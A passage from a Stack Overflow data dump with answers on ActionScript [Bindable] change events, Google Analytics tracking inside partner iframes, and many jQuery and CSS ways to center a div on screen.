"author_profile": "https://Stackoverflow.com/users/23133",
"pm_score": 1,
"selected": false,
"text": "<p>One of my favorite approaches is the Observe class which is found <a href=\"http://weblogs.macromedia.com/paulw/archives/2006/05/the_worlds_smal.html\" rel=\"nofollow noreferrer\">here</a>. It is essentially using a setter but it is a nice repeatable approach.</p>\n"
},
{
"answer_id": 215440,
"author": "Laura",
"author_id": 5103,
"author_profile": "https://Stackoverflow.com/users/5103",
"pm_score": 4,
"selected": true,
"text": "<p>If you use the [Bindable] tag without specifying an event type, then when the property changes its value, an event of type: PropertyChangeEvent.PROPERTY_CHANGE, which is the string 'propertyChange', will be dispatched. </p>\n\n<p>Therefore, to be able to register to listen to that event, you need to say:</p>\n\n<pre><code>this.addEventListener(PropertyChangeEvent.PROPERTY_CHANGE, onOnChange);\n</code></pre>\n\n<p>The reason why your listener function was never called is that the event type was not correct.</p>\n\n<p>Note that the listener method will be called when any of the variables marked as Bindable in your class changes, not only 'on'. This event comes with a property called 'property' that indicates which variable was changed. </p>\n\n<p>To avoid being called on each Bindable variable, you need to specify an event in the [Bindable] tag:</p>\n\n<pre><code>[Bindable(event=\"myOnChangeEvent\")]\n</code></pre>\n\n<p>and dispatch that event manually when you consider that the property is changing (ie: in the setter), though that didn't seem to be what you wanted to do.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210666",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24727/"
] |
I have a CircleButton class in Actionscript.
I want to know when someone externally has changed the 'on' property.
I try listening to 'onChange' but it never hits that event handler.
I know I can write the 'on' property as a get/setter but I like the simplicity of just using [Bindable]
Can an object not listen to its own events?
```
public class CircleButton extends UIComponent
{
[Bindable]
public var on:Boolean;
public function CircleButton()
{
this.width = 20;
this.height = 20;
graphics.beginFill(0xff6600, 1);
graphics.drawCircle(width/2, height/2, width/2);
graphics.endFill();
this.addEventListener(MouseEvent.ROLL_OVER, rollover);
this.addEventListener(MouseEvent.ROLL_OUT, rollout);
this.addEventListener('onChange', onOnChange);
}
private function onOnChange(event:PropertyChangeEvent):void {
```
|
If you use the [Bindable] tag without specifying an event type, then when the property changes its value, an event of type: PropertyChangeEvent.PROPERTY\_CHANGE, which is the string 'propertyChange', will be dispatched.
Therefore, to be able to register to listen to that event, you need to say:
```
this.addEventListener(PropertyChangeEvent.PROPERTY_CHANGE, onOnChange);
```
The reason why your listener function was never called is that the event type was not correct.
Note that the listener method will be called when any of the variables marked as Bindable in your class changes, not only 'on'. This event comes with a property called 'property' that indicates which variable was changed.
To avoid being called on each Bindable variable, you need to specify an event in the [Bindable] tag:
```
[Bindable(event="myOnChangeEvent")]
```
and dispatch that event manually when you consider that the property is changing (ie: in the setter), though that didn't seem to be what you wanted to do.
|
210,682 |
<p>our partners sites leverages our iframes in their own websites. I was wondering if there is a way to track the analytics on the iframes. </p>
<p>The problem is, if we also utilize these iframes on our own website, how do i avoid duplicate tracking where a visit is counted on our domain's analytics and also counted again in iframes? is there a way to get around it?</p>
|
[
{
"answer_id": 210704,
"author": "stevemegson",
"author_id": 25028,
"author_profile": "https://Stackoverflow.com/users/25028",
"pm_score": 2,
"selected": false,
"text": "<p>Adding the Google Analytics code to the iframe should work just fine. The easiest way to avoid duplicate tracking is probably to add a query parameter like ?partner=foo to the URLs that your partners use. You can check for your own site's value and not run the Google Analytics code at all, and also pass the partner ID to Google so that you can break down the reports by partner.</p>\n\n<p><strong>EDIT</strong><br>\nUse ?utm_source=foo as the partner parameter, and Google Analytics will pick it up without you doing anything. Filter out your own impressions with</p>\n\n<pre><code>if ( location.href.indexOf(\"utm_source=mysite\") < 0 )\n{\n // Google Analytics code here\n}\n</code></pre>\n\n<p>or you can set up a filter on your Google Analytics profile to filter them out.</p>\n"
},
{
"answer_id": 3381289,
"author": "Avishai",
"author_id": 76735,
"author_profile": "https://Stackoverflow.com/users/76735",
"pm_score": 0,
"selected": false,
"text": "<p>You can also add <code>utm_nooverride=1</code> to your iframe source tag. This will make sure that the page that called your iframe on the 3rd party site will not get credit for the referral, but rather the initial source (AdWords campaign, search query, etc.).</p>\n\n<p>Example:</p>\n\n<pre><code><iframe src=\"mypage.html?utm_nooverride=1\" width=\"1\" height=\"1\"></iframe>\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210682",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
our partners sites leverages our iframes in their own websites. I was wondering if there is a way to track the analytics on the iframes.
The problem is, if we also utilize these iframes on our own website, how do i avoid duplicate tracking where a visit is counted on our domain's analytics and also counted again in iframes? is there a way to get around it?
|
Adding the Google Analytics code to the iframe should work just fine. The easiest way to avoid duplicate tracking is probably to add a query parameter like ?partner=foo to the URLs that your partners use. You can check for your own site's value and not run the Google Analytics code at all, and also pass the partner ID to Google so that you can break down the reports by partner.
**EDIT**
Use ?utm\_source=foo as the partner parameter, and Google Analytics will pick it up without you doing anything. Filter out your own impressions with
```
if ( location.href.indexOf("utm_source=mysite") < 0 )
{
// Google Analytics code here
}
```
or you can set up a filter on your Google Analytics profile to filter them out.
|
210,717 |
<p>How do I go about setting a <code><div></code> in the center of the screen using jQuery?</p>
|
[
{
"answer_id": 210733,
"author": "Tony L.",
"author_id": 21905,
"author_profile": "https://Stackoverflow.com/users/21905",
"pm_score": 11,
"selected": true,
"text": "<p>I like adding functions to jQuery so this function would help:</p>\n\n<pre><code>jQuery.fn.center = function () {\n this.css(\"position\",\"absolute\");\n this.css(\"top\", Math.max(0, (($(window).height() - $(this).outerHeight()) / 2) + \n $(window).scrollTop()) + \"px\");\n this.css(\"left\", Math.max(0, (($(window).width() - $(this).outerWidth()) / 2) + \n $(window).scrollLeft()) + \"px\");\n return this;\n}\n</code></pre>\n\n<p>Now we can just write:</p>\n\n<pre><code>$(element).center();\n</code></pre>\n\n<p>Demo: <a href=\"http://jsfiddle.net/DerekL/GbDw9/\" rel=\"noreferrer\">Fiddle</a> (with added parameter)</p>\n"
},
{
"answer_id": 211023,
"author": "Andrew Hedges",
"author_id": 11577,
"author_profile": "https://Stackoverflow.com/users/11577",
"pm_score": 3,
"selected": false,
"text": "<p>This is untested, but something like this should work.</p>\n\n<pre><code>var myElement = $('#myElement');\nmyElement.css({\n position: 'absolute',\n left: '50%',\n 'margin-left': 0 - (myElement.width() / 2)\n});\n</code></pre>\n"
},
{
"answer_id": 2257651,
"author": "molokoloco",
"author_id": 174449,
"author_profile": "https://Stackoverflow.com/users/174449",
"pm_score": 7,
"selected": false,
"text": "<p>I put a <a href=\"http://plugins.jquery.com/project/autocenter\" rel=\"noreferrer\">jquery plugin</a> here</p>\n<p>VERY SHORT VERSION</p>\n<pre><code>$('#myDiv').css({top:'50%',left:'50%',margin:'-'+($('#myDiv').height() / 2)+'px 0 0 -'+($('#myDiv').width() / 2)+'px'});\n</code></pre>\n<p>SHORT VERSION</p>\n<pre><code>(function($){\n $.fn.extend({\n center: function () {\n return this.each(function() {\n var top = ($(window).height() - $(this).outerHeight()) / 2;\n var left = ($(window).width() - $(this).outerWidth()) / 2;\n $(this).css({position:'absolute', margin:0, top: (top > 0 ? top : 0)+'px', left: (left > 0 ? left : 0)+'px'});\n });\n }\n }); \n})(jQuery);\n</code></pre>\n<p>Activated by this code :</p>\n<pre><code>$('#mainDiv').center();\n</code></pre>\n<p>PLUGIN VERSION</p>\n<pre><code>(function($){\n $.fn.extend({\n center: function (options) {\n var options = $.extend({ // Default values\n inside:window, // element, center into window\n transition: 0, // millisecond, transition time\n minX:0, // pixel, minimum left element value\n minY:0, // pixel, minimum top element value\n withScrolling:true, // booleen, take care of the scrollbar (scrollTop)\n vertical:true, // booleen, center vertical\n horizontal:true // booleen, center horizontal\n }, options);\n return this.each(function() {\n var props = {position:'absolute'};\n if (options.vertical) {\n var top = ($(options.inside).height() - $(this).outerHeight()) / 2;\n if (options.withScrolling) top += $(options.inside).scrollTop() || 0;\n top = (top > options.minY ? top : options.minY);\n $.extend(props, {top: top+'px'});\n }\n if (options.horizontal) {\n var left = ($(options.inside).width() - $(this).outerWidth()) / 2;\n if (options.withScrolling) left += $(options.inside).scrollLeft() || 0;\n left = (left > options.minX ? left : options.minX);\n $.extend(props, {left: left+'px'});\n }\n if (options.transition > 0) $(this).animate(props, options.transition);\n else $(this).css(props);\n return $(this);\n });\n }\n });\n})(jQuery);\n</code></pre>\n<p>Activated by this code :</p>\n<pre><code>$(document).ready(function(){\n $('#mainDiv').center();\n $(window).bind('resize', function() {\n $('#mainDiv').center({transition:300});\n });\n);\n</code></pre>\n<p>is that right ?</p>\n<h1>UPDATE :</h1>\n<p>From <a href=\"http://css-tricks.com/centering-percentage-widthheight-elements/\" rel=\"noreferrer\">CSS-Tricks</a></p>\n<pre><code>.center {\n position: absolute;\n left: 50%;\n top: 50%;\n transform: translate(-50%, -50%); /* Yep! */\n width: 48%;\n height: 59%;\n}\n</code></pre>\n"
},
{
"answer_id": 2552902,
"author": "Eric D. Fields",
"author_id": 306003,
"author_profile": "https://Stackoverflow.com/users/306003",
"pm_score": 2,
"selected": false,
"text": "<p>The transition component of this function worked really poorly for me in Chrome (didn't test elsewhere). I would resize the window a bunch and my element would sort of scoot around slowly, trying to catch up. </p>\n\n<p>So the following function comments that part out. In addition, I added parameters for passing in optional x & y booleans, if you want to center vertically but not horizontally, for example:</p>\n\n<pre><code>// Center an element on the screen\n(function($){\n $.fn.extend({\n center: function (x,y) {\n // var options = $.extend({transition:300, minX:0, minY:0}, options);\n return this.each(function() {\n if (x == undefined) {\n x = true;\n }\n if (y == undefined) {\n y = true;\n }\n var $this = $(this);\n var $window = $(window);\n $this.css({\n position: \"absolute\",\n });\n if (x) {\n var left = ($window.width() - $this.outerWidth())/2+$window.scrollLeft();\n $this.css('left',left)\n }\n if (!y == false) {\n var top = ($window.height() - $this.outerHeight())/2+$window.scrollTop(); \n $this.css('top',top);\n }\n // $(this).animate({\n // top: (top > options.minY ? top : options.minY)+'px',\n // left: (left > options.minX ? left : options.minX)+'px'\n // }, options.transition);\n return $(this);\n });\n }\n });\n})(jQuery);\n</code></pre>\n"
},
{
"answer_id": 3171007,
"author": "Fred",
"author_id": 382617,
"author_profile": "https://Stackoverflow.com/users/382617",
"pm_score": 3,
"selected": false,
"text": "<p>I dont think having an absolute position would be best if you want an element always centered in the middle of the page. You probably want a fixed element. I found another jquery centering plugin that used fixed positioning. It is called <a href=\"http://david-tang.net/2010/06/fixed-center-plugin/\" rel=\"noreferrer\">fixed center</a>.</p>\n"
},
{
"answer_id": 3197644,
"author": "David",
"author_id": 385834,
"author_profile": "https://Stackoverflow.com/users/385834",
"pm_score": 0,
"selected": false,
"text": "<p>you're getting that poor transition because you're adjusting the position of the element every time the document is scrolled. What you want is to use fixed positioning. I tried that fixed center plugin listed above and that seems to do solve the problem nicely. Fixed positioning allows you to center an element once, and the CSS property will take care of maintaining that position for you every time you scroll.</p>\n"
},
{
"answer_id": 4408197,
"author": "cetnar",
"author_id": 104796,
"author_profile": "https://Stackoverflow.com/users/104796",
"pm_score": 6,
"selected": false,
"text": "<p>I would recommend <a href=\"http://jqueryui.com/demos/position/\" rel=\"noreferrer\">jQueryUI Position utility</a></p>\n\n<pre><code>$('your-selector').position({\n of: $(window)\n});\n</code></pre>\n\n<p>which gives you much more possibilities than only centering ...</p>\n"
},
{
"answer_id": 5236684,
"author": "John Butcher",
"author_id": 650320,
"author_profile": "https://Stackoverflow.com/users/650320",
"pm_score": 3,
"selected": false,
"text": "<p>I would like to correct one issue.</p>\n\n<pre><code>this.css(\"top\", ( $(window).height() - this.height() ) / 2+$(window).scrollTop() + \"px\");\n</code></pre>\n\n<p>Above code won't work in cases when <code>this.height</code> (lets assume that user resizes the screen and content is dynamic) and <code>scrollTop() = 0</code>, example: </p>\n\n<p><code>window.height</code> is <code>600</code><br>\n<code>this.height</code> is <code>650</code></p>\n\n<pre><code>600 - 650 = -50 \n\n-50 / 2 = -25\n</code></pre>\n\n<p>Now the box is centered <code>-25</code> offscreen.</p>\n"
},
{
"answer_id": 5734843,
"author": "Keith",
"author_id": 717676,
"author_profile": "https://Stackoverflow.com/users/717676",
"pm_score": 2,
"selected": false,
"text": "<p>This is great. I added a callback function</p>\n\n<pre><code>center: function (options, callback) {\n</code></pre>\n\n<p><br/></p>\n\n<pre><code>if (options.transition > 0) {\n $(this).animate(props, options.transition, callback);\n} else { \n $(this).css(props);\n if (typeof callback == 'function') { // make sure the callback is a function\n callback.call(this); // brings the scope to the callback\n }\n}\n</code></pre>\n"
},
{
"answer_id": 6175767,
"author": "ahmad balavipour",
"author_id": 774934,
"author_profile": "https://Stackoverflow.com/users/774934",
"pm_score": -1,
"selected": false,
"text": "<p>Why you don't use CSS for centering a div?</p>\n\n<pre><code>#timer_wrap{ \n position: fixed;\n left: 50%;\n top: 50%;\n} \n</code></pre>\n"
},
{
"answer_id": 8959914,
"author": "Juho Vepsäläinen",
"author_id": 228885,
"author_profile": "https://Stackoverflow.com/users/228885",
"pm_score": 5,
"selected": false,
"text": "<p>Here's my go at it. I ended up using it for my Lightbox clone. The main advantage of this solution is that the element will stay centered automatically even if the window is resized making it ideal for this sort of usage.</p>\n\n<pre><code>$.fn.center = function() {\n this.css({\n 'position': 'fixed',\n 'left': '50%',\n 'top': '50%'\n });\n this.css({\n 'margin-left': -this.outerWidth() / 2 + 'px',\n 'margin-top': -this.outerHeight() / 2 + 'px'\n });\n\n return this;\n}\n</code></pre>\n"
},
{
"answer_id": 9758556,
"author": "Oleg",
"author_id": 1081234,
"author_profile": "https://Stackoverflow.com/users/1081234",
"pm_score": 3,
"selected": false,
"text": "<h2>Edit:</h2>\n\n<p>If the question taught me anything, it's this: don't change something that already works :)</p>\n\n<p>I'm providing an (almost) verbatim copy of how this was handled on <a href=\"http://www.jakpsatweb.cz/css/css-vertical-center-solution.html\" rel=\"nofollow noreferrer\">http://www.jakpsatweb.cz/css/css-vertical-center-solution.html</a> - it's heavily hacked for IE but provides a pure CSS way of answering the question:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>.container {display:table; height:100%; position:absolute; overflow:hidden; width:100%;}\n.helper {#position:absolute; #top:50%;\n display:table-cell; vertical-align:middle;}\n.content {#position:relative; #top:-50%;\n margin:0 auto; width:200px; border:1px solid orange;}\n</code></pre>\n\n<p>Fiddle: <a href=\"http://jsfiddle.net/S9upd/4/\" rel=\"nofollow noreferrer\">http://jsfiddle.net/S9upd/4/</a></p>\n\n<p>I've run this through browsershots and it seems fine; if for nothing else, I'll keep the original below so that margin percentage handling as dictated by CSS spec sees the light of day.</p>\n\n<h2>Original:</h2>\n\n<p>Looks like I'm late to the party!</p>\n\n<p>There are some comments above that suggest this is a CSS question - separation of concerns and all. Let me preface this by saying that CSS <em>really</em> shot itself in the foot on this one. I mean, how easy would it be to do this:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>.container {\n position:absolute;\n left: 50%;\n top: 50%;\n overflow:visible;\n}\n.content {\n position:relative;\n margin:-50% 50% 50% -50%;\n}\n</code></pre>\n\n<p>Right? Container's top left corner would be in the center of the screen, and with negative margins the content will magically reappear in the absolute center of the page! <a href=\"http://jsfiddle.net/rJPPc/\" rel=\"nofollow noreferrer\">http://jsfiddle.net/rJPPc/</a></p>\n\n<p><strong><em>Wrong!</em></strong> Horizontal positioning is OK, but vertically... Oh, I see. Apparently in css, when setting top margins in %, the value is calculated as <a href=\"https://developer.mozilla.org/en/CSS/margin-top\" rel=\"nofollow noreferrer\">a percentage always relative to the <strong>width</strong> of the containing block</a>. Like apples and oranges! If you don't trust me or Mozilla doco, have a play with the fiddle above by adjusting content width and be amazed.</p>\n\n<hr>\n\n<p>Now, with CSS being my bread and butter, I was not about to give up. At the same time, I prefer things easy, so I've borrowed the findings of a <a href=\"http://www.jakpsatweb.cz/css/css-vertical-center-solution.html\" rel=\"nofollow noreferrer\">Czech CSS guru</a> and made it into a working fiddle. Long story short, we create a table in which vertical-align is set to middle:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><table class=\"super-centered\"><tr><td>\n <div class=\"content\">\n <p>I am centered like a boss!</p>\n </div>\n</td></tr></table>\n</code></pre>\n\n<p>And than the content's position is fine-tuned with good old <strong>margin:0 auto;</strong>:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>.super-centered {position:absolute; width:100%;height:100%;vertical-align:middle;}\n.content {margin:0 auto;width:200px;}\n</code></pre>\n\n<p>Working fiddle as promised: <a href=\"http://jsfiddle.net/teDQ2/\" rel=\"nofollow noreferrer\">http://jsfiddle.net/teDQ2/</a></p>\n"
},
{
"answer_id": 10275838,
"author": "Volomike",
"author_id": 105539,
"author_profile": "https://Stackoverflow.com/users/105539",
"pm_score": 4,
"selected": false,
"text": "<p>I'm expanding upon the great answer given by @TonyL. I'm adding Math.abs() to wrap the values, and also I take into account that jQuery might be in \"no conflict\" mode, like for instance in WordPress.</p>\n\n<p>I recommend that you wrap the top and left values with Math.abs() as I have done below. If the window is too small, and your modal dialog has a close box at the top, this will prevent the problem of not seeing the close box. Tony's function would have had potentially negative values. A good example on how you end up with negative values is if you have a large centered dialog but the end user has installed several toolbars and/or increased his default font -- in such a case, the close box on a modal dialog (if at the top) might not be visible and clickable.</p>\n\n<p>The other thing I do is speed this up a bit by caching the $(window) object so that I reduce extra DOM traversals, and I use a cluster CSS.</p>\n\n<pre><code>jQuery.fn.center = function ($) {\n var w = $(window);\n this.css({\n 'position':'absolute',\n 'top':Math.abs(((w.height() - this.outerHeight()) / 2) + w.scrollTop()),\n 'left':Math.abs(((w.width() - this.outerWidth()) / 2) + w.scrollLeft())\n });\n return this;\n}\n</code></pre>\n\n<p>To use, you would do something like:</p>\n\n<pre><code>jQuery(document).ready(function($){\n $('#myelem').center();\n});\n</code></pre>\n"
},
{
"answer_id": 10876317,
"author": "Andrew",
"author_id": 882371,
"author_profile": "https://Stackoverflow.com/users/882371",
"pm_score": 0,
"selected": false,
"text": "<p>Here is my version. I may change it after I look at these examples.</p>\n\n<pre><code>$.fn.pixels = function(property){\n return parseInt(this.css(property));\n};\n\n$.fn.center = function(){\n var w = $($w);\n return this.each(function(){\n $(this).css(\"position\",\"absolute\");\n $(this).css(\"top\",((w.height() - $(this).height()) / 2) - (($(this).pixels('padding-top') + $(this).pixels('padding-bottom')) / 2) + w.scrollTop() + \"px\");\n $(this).css(\"left\",((w.width() - $(this).width()) / 2) - (($(this).pixels('padding-left') + $(this).pixels('padding-right')) / 2) + w.scrollLeft() + \"px\");\n });\n};\n</code></pre>\n"
},
{
"answer_id": 10918691,
"author": "Diego",
"author_id": 346169,
"author_profile": "https://Stackoverflow.com/users/346169",
"pm_score": 2,
"selected": false,
"text": "<p>To center the element relative to the browser viewport (window), don't use <code>position: absolute</code>, the correct position value should be <code>fixed</code> (absolute means: \"The element is positioned relative to its first positioned (not static) ancestor element\"). </p>\n\n<p>This alternative version of the proposed center plugin uses \"%\" instead of \"px\" so when you resize the window the content is keep centered:</p>\n\n<pre><code>$.fn.center = function () {\n var heightRatio = ($(window).height() != 0) \n ? this.outerHeight() / $(window).height() : 1;\n var widthRatio = ($(window).width() != 0) \n ? this.outerWidth() / $(window).width() : 1;\n\n this.css({\n position: 'fixed',\n margin: 0,\n top: (50*(1-heightRatio)) + \"%\",\n left: (50*(1-widthRatio)) + \"%\"\n });\n\n return this;\n}\n</code></pre>\n\n<p>You need to put <code>margin: 0</code> to exclude the content margins from the width/height (since we are using position fixed, having margins makes no sense). \nAccording to the jQuery doc using <code>.outerWidth(true)</code> should include margins, but it didn't work as expected when I tried in Chrome.</p>\n\n<p>The <code>50*(1-ratio)</code> comes from:</p>\n\n<p>Window Width: <code>W = 100%</code></p>\n\n<p>Element Width (in %): <code>w = 100 * elementWidthInPixels/windowWidthInPixels</code></p>\n\n<p>Them to calcule the centered left: </p>\n\n<pre><code> left = W/2 - w/2 = 50 - 50 * elementWidthInPixels/windowWidthInPixels =\n = 50 * (1-elementWidthInPixels/windowWidthInPixels)\n</code></pre>\n"
},
{
"answer_id": 17368113,
"author": "apaul",
"author_id": 1947286,
"author_profile": "https://Stackoverflow.com/users/1947286",
"pm_score": 5,
"selected": false,
"text": "<p>You can use CSS alone to center like so:</p>\n\n<p><strong><a href=\"http://jsfiddle.net/apaul34208/e4y6F/\">Working Example</a></strong></p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.center{\r\n position: absolute;\r\n height: 50px;\r\n width: 50px;\r\n background:red;\r\n top:calc(50% - 50px/2); /* height divided by 2*/\r\n left:calc(50% - 50px/2); /* width divided by 2*/\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><div class=\"center\"></div></code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p><code>calc()</code> allows you to do basic calculations in css.</p>\n\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/calc\">MDN Documentation for <code>calc()</code></a><br>\n<a href=\"http://caniuse.com/#feat=calc\">Browser support table</a> </p>\n"
},
{
"answer_id": 18232641,
"author": "Ryan",
"author_id": 2246362,
"author_profile": "https://Stackoverflow.com/users/2246362",
"pm_score": 2,
"selected": false,
"text": "<p>What I have here is a \"center\" method that ensures the element you are attempting to center is not only of \"fixed\" or \"absolute\" positioning, but it also ensures that the element you are centering is smaller than its parent, this centers and element relative to is parent, if the elements parent is smaller than the element itself, it will pillage up the DOM to the next parent, and center it relative to that. </p>\n\n<pre><code>$.fn.center = function () {\n /// <summary>Centers a Fixed or Absolute positioned element relative to its parent</summary>\n\n var element = $(this),\n elementPos = element.css('position'),\n elementParent = $(element.parent()),\n elementWidth = element.outerWidth(),\n parentWidth = elementParent.width();\n\n if (parentWidth <= elementWidth) {\n elementParent = $(elementParent.parent());\n parentWidth = elementParent.width();\n }\n\n if (elementPos === \"absolute\" || elementPos === \"fixed\") {\n element.css('right', (parentWidth / 2) - elementWidth / 2 + 'px');\n }\n };\n</code></pre>\n"
},
{
"answer_id": 19424085,
"author": "Sajitha Rathnayake",
"author_id": 2345900,
"author_profile": "https://Stackoverflow.com/users/2345900",
"pm_score": 0,
"selected": false,
"text": "<p>No need jquery for this</p>\n\n<p>I used this to center Div element.\nCss Style,</p>\n\n<pre><code>.black_overlay{\n display: none;\n position: absolute;\n top: 0%;\n left: 0%;\n width: 100%;\n height: 100%;\n background-color: black;\n z-index:1001;\n -moz-opacity: 0.8;\n opacity:.80;\n filter: alpha(opacity=80);\n}\n\n.white_content {\n display: none;\n position: absolute;\n top: 25%;\n left: 25%;\n width: 50%;\n height: 50%;\n padding: 16px;\n border: 16px solid orange;\n background-color: white;\n z-index:1002;\n overflow: auto;\n}\n</code></pre>\n\n<p>Open element</p>\n\n<pre><code>$(document).ready(function(){\n $(\".open\").click(function(e){\n $(\".black_overlay\").fadeIn(200);\n });\n\n});\n</code></pre>\n"
},
{
"answer_id": 25041231,
"author": "Fred K",
"author_id": 1252920,
"author_profile": "https://Stackoverflow.com/users/1252920",
"pm_score": 0,
"selected": false,
"text": "<p>You could use the CSS <code>translate</code> property:</p>\n\n<pre><code>position: absolute;\ntransform: translate(-50%, -50%);\n</code></pre>\n\n<p>Read <a href=\"http://blog.netgloo.com/2014/07/30/centering-a-div-with-css-without-negative-margin-or-jquery/\" rel=\"nofollow\">this post</a> for more details.</p>\n"
},
{
"answer_id": 25055575,
"author": "andy_edward",
"author_id": 2765240,
"author_profile": "https://Stackoverflow.com/users/2765240",
"pm_score": 4,
"selected": false,
"text": "<p>I would use the <strong><a href=\"http://api.jqueryui.com/position/\" rel=\"noreferrer\">jQuery UI</a></strong> <code>position</code> function.</p>\n\n<p><strong><a href=\"http://jsfiddle.net/ADm97/1/\" rel=\"noreferrer\">See working demo</a></strong>.</p>\n\n<pre><code><div id=\"test\" style=\"position:absolute;background-color:blue;color:white\">\n test div to center in window\n</div>\n</code></pre>\n\n<p>If i have a div with id \"test\" to center then the following script would center the div in the window on document ready. (the default values for \"my\" and \"at\" in the position options are \"center\")</p>\n\n<pre><code><script type=\"text/javascript\">\n$(function(){\n $(\"#test\").position({\n of: $(window)\n });\n};\n</script>\n</code></pre>\n"
},
{
"answer_id": 31591871,
"author": "Fata1Err0r",
"author_id": 4555355,
"author_profile": "https://Stackoverflow.com/users/4555355",
"pm_score": 0,
"selected": false,
"text": "<p><strong>MY UPDATE TO TONY L'S ANSWER</strong>\nThis is the modded version of his answer that I use religiously now. I thought I would share it, as it adds slightly more functionality to it for various situations you may have, such as different types of <code>position</code> or only wanting horizontal/vertical centering rather than both. </p>\n\n<p>center.js:</p>\n\n<pre><code>// We add a pos parameter so we can specify which position type we want\n\n// Center it both horizontally and vertically (dead center)\njQuery.fn.center = function (pos) {\n this.css(\"position\", pos);\n this.css(\"top\", ($(window).height() / 2) - (this.outerHeight() / 2));\n this.css(\"left\", ($(window).width() / 2) - (this.outerWidth() / 2));\n return this;\n}\n\n// Center it horizontally only\njQuery.fn.centerHor = function (pos) {\n this.css(\"position\", pos);\n this.css(\"left\", ($(window).width() / 2) - (this.outerWidth() / 2));\n return this;\n}\n\n// Center it vertically only\njQuery.fn.centerVer = function (pos) {\n this.css(\"position\", pos);\n this.css(\"top\", ($(window).height() / 2) - (this.outerHeight() / 2));\n return this;\n}\n</code></pre>\n\n<p>In my <code><head></code>:</p>\n\n<pre><code><script src=\"scripts/center.js\"></script>\n</code></pre>\n\n<p>Examples of usage:</p>\n\n<pre><code>$(\"#example1\").centerHor(\"absolute\")\n$(\"#example2\").centerHor(\"fixed\")\n\n$(\"#example3\").centerVer(\"absolute\")\n$(\"#example4\").centerVer(\"fixed\")\n\n$(\"#example5\").center(\"absolute\")\n$(\"#example6\").center(\"fixed\")\n</code></pre>\n\n<p>It works with any positioning type, and can be used throughout your entire site easily, as well as easily portable to any other site you create. No more annoying workarounds for centering something properly. </p>\n\n<p>Hope this is useful for someone out there! Enjoy.</p>\n"
},
{
"answer_id": 32877025,
"author": "i_a",
"author_id": 1673876,
"author_profile": "https://Stackoverflow.com/users/1673876",
"pm_score": 0,
"selected": false,
"text": "<p>Lot's of ways to do this. My object is kept hidden with <strong>display:none</strong> just inside the BODY tag so that positioning is relative to the BODY. After using <strong>$(\"#object_id\").show()</strong>, I call <strong>$(\"#object_id\").center()</strong></p>\n\n<p>I use <strong>position:absolute</strong> because it is possible, especially on a small mobile device, that the modal window is larger than the device window, in which case some of the modal content could be inaccessible if positioning was fixed.</p>\n\n<p>Here's my flavor based on other's answers and my specific needs:</p>\n\n<pre><code>$.fn.center = function () {\n this.css(\"position\",\"absolute\");\n\n //use % so that modal window will adjust with browser resizing\n this.css(\"top\",\"50%\");\n this.css(\"left\",\"50%\");\n\n //use negative margin to center\n this.css(\"margin-left\",(-1*this.outerWidth()/2)+($(window).scrollLeft())+\"px\");\n this.css(\"margin-top\",(-1*this.outerHeight()/2)+($(window).scrollTop())+\"px\");\n\n //catch cases where object would be offscreen\n if(this.offset().top<0)this.css({\"top\":\"5px\",\"margin-top\":\"0\"});\n if(this.offset().left<0)this.css({\"left\":\"5px\",\"margin-left\":\"0\"});\n\n return this;\n };\n</code></pre>\n"
},
{
"answer_id": 33461958,
"author": "holden",
"author_id": 3712513,
"author_profile": "https://Stackoverflow.com/users/3712513",
"pm_score": 2,
"selected": false,
"text": "<p>i use this:</p>\n\n<pre><code>$(function() {\n $('#divId').css({\n 'left' : '50%',\n 'top' : '50%',\n 'position' : 'absolute',\n 'margin-left' : -$('#divId').outerWidth()/2,\n 'margin-top' : -$('#divId').outerHeight()/2\n });\n});\n</code></pre>\n"
},
{
"answer_id": 36041478,
"author": "John Slegers",
"author_id": 1946501,
"author_profile": "https://Stackoverflow.com/users/1946501",
"pm_score": 0,
"selected": false,
"text": "<p>Normally, I would do this with CSS only... but since you asked you a way to do this with jQuery...</p>\n\n<p>The following code centers a div both horizontally and vertically inside its container :</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>$(\"#target\").addClass(\"centered-content\")\r\n .wrap(\"<div class='center-outer-container'></div>\")\r\n .wrap(\"<div class='center-inner-container'></div>\");</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>body {\r\n margin : 0;\r\n background: #ccc;\r\n}\r\n\r\n.center-outer-container {\r\n position : absolute;\r\n display: table;\r\n width: 100%;\r\n height: 100%;\r\n}\r\n\r\n.center-inner-container {\r\n display: table-cell;\r\n vertical-align: middle;\r\n text-align: center;\r\n}\r\n\r\n.centered-content {\r\n display: inline-block;\r\n text-align: left;\r\n background: #fff;\r\n padding : 20px;\r\n border : 1px solid #000;\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><script type=\"text/javascript\" src=\"https://code.jquery.com/jquery-1.12.1.min.js\"></script>\r\n<div id=\"target\">Center this!</div></code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>(see also <a href=\"https://jsfiddle.net/3k1ts96b/1/\" rel=\"nofollow\"><strong>this Fiddle</strong></a>)</p>\n"
},
{
"answer_id": 36107095,
"author": "satya",
"author_id": 5229920,
"author_profile": "https://Stackoverflow.com/users/5229920",
"pm_score": 2,
"selected": false,
"text": "<p>Please use this: </p>\n\n<pre><code>$(window).resize(function(){\n $('.className').css({\n position:'absolute',\n left: ($(window).width() - $('.className').outerWidth())/2,\n top: ($(window).height() - $('.className').outerHeight())/2\n });\n});\n\n// To initially run the function:\n$(window).resize();\n</code></pre>\n"
},
{
"answer_id": 49306665,
"author": "Shivam Chhetri",
"author_id": 9138195,
